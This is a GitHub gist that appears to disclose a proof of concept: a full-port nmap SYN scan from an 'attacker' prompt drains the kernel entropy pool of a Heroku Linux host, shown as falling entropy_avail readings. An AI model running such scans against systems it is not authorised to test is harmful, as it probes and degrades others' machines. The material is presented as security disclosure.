Skip to content

Instantly share code, notes, and snippets.

@jwilkins
Created July 15, 2013 03:23
Show Gist options
  • Save jwilkins/5997296 to your computer and use it in GitHub Desktop.
Save jwilkins/5997296 to your computer and use it in GitHub Desktop.
Remotely deplete entropy on linux boxes via SYN scan
# Heroku box
heroku$ curl icanhazip.com
54.242.20.250
heroku$ cat /proc/sys/kernel/random/entropy_avail
3962
###########
attacker$ sudo nmap -sS -p 1-65535 54.242.20.250
heroku$ cat /proc/sys/kernel/random/entropy_avail
3337
heroku$ cat /proc/sys/kernel/random/entropy_avail
524
heroku$ cat /proc/sys/kernel/random/entropy_avail
160
heroku$ cat /proc/sys/kernel/random/entropy_avail
163
heroku$ cat /proc/sys/kernel/random/entropy_avail
157
heroku$ cat /proc/sys/kernel/random/entropy_avail
151
heroku$ cat /proc/sys/kernel/random/entropy_avail
138
heroku$ cat /proc/sys/kernel/random/entropy_avail
133
heroku$ cat /proc/sys/kernel/random/entropy_avail
132
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment